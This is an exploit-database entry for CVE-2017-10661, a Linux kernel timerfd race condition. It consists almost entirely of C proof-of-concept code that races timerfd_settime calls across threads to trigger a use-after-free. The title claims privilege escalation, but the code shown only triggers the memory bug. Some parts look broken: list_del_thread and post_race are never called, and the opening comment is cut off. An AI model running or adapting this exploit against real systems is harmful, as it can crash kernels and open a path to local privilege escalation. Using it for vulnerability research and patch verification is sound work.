Linux kernel < 4.10.15 - Race Condition Privilege Escalation

EDB-ID: 43345
Author: anonymous
Published: 2017-12-15
CVE: CVE-2017-10661
Type: Local
Platform: Linux
Vulnerable App: N/A

  * PoC for CVE-2017-10661, triggers UAF with KASan enabled in kernel 4.10 
*/
#include <string.h>
#include <sys/timerfd.h>
#include <sys/time.h>
#include <sys/msg.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <errno.h>
#include <time.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <pthread.h>
#define RACE_TIME 1000000
int fd;
int fd_dumb;
int count=0;


void* list_add_thread(void* arg){

int ret;

struct itimerspec new ={
.it_interval={
.tv_sec=100,
.tv_nsec=100
},
.it_value={
.tv_sec=100,
.tv_nsec=100
}
};

int i=0;
while(i<1){

ret=timerfd_settime(fd,3,&new,NULL);

if(ret<0){
perror("timerfd settime failed !");
}
i++;
}


return NULL;
}

void* list_del_thread(void* arg){

int ret;

struct itimerspec new ={
.it_interval={
.tv_sec=100,
.tv_nsec=100
},
.it_value={
.tv_sec=100,
.tv_nsec=100
}
};

int i=0;
while(i<1){
ret=timerfd_settime(fd,1,&new,NULL);

if(ret<0){
perror("timerfd settime failed !");
}
i++;
}
return NULL;

}

int post_race()
{
int ret;

struct itimerspec new ={
.it_interval={
.tv_sec=100,
.tv_nsec=100
},
.it_value={
.tv_sec=100,
.tv_nsec=100
}
};

int i=0;

struct timeval tv={
.tv_sec = 120+count*2,
.tv_usec = 100
};
ret=settimeofday(&tv,NULL);
if(ret<0){
perror("settimeofday");
}
return 0;
}

int do_race(){
int ret_add[2];
int i;
int j;
pthread_t th[2]={0};

i=0;
while(i<RACE_TIME){
if(i%128)
printf("%d\n",i);


fd=timerfd_create(CLOCK_REALTIME,0); // create the victim ctx
if(fd<0){
perror("timerfd craete failed!");
return -1;
}
ret_add[0] = pthread_create(&th[0],NULL,list_add_thread,(void*)1);
ret_add[1] = pthread_create(&th[1],NULL,list_add_thread,(void*)2);

for( j=0;j<2;j++){
pthread_join(th[j],NULL);
}

close(fd);
usleep(150000);

i++;
count++;
}
return 0;
}

int main(int argc, char const *argv[])
{
int ret;

// add dumb ctx
void* area;
void* base;
struct itimerspec new ={
.it_interval={
.tv_sec=100,
.tv_nsec=100
},
.it_value={
.tv_sec=100,
.tv_nsec=100
}
};
fd_dumb = timerfd_create(CLOCK_REALTIME,0);

ret=timerfd_settime(fd_dumb,3,&new,NULL);
if(ret<0){
perror("timerfd settime failed !");
}

ret=do_race();
if(ret <0){
puts("race failed!");
goto error_end;
}

sleep(5);
error_end:
close(fd);
exit(1);
}

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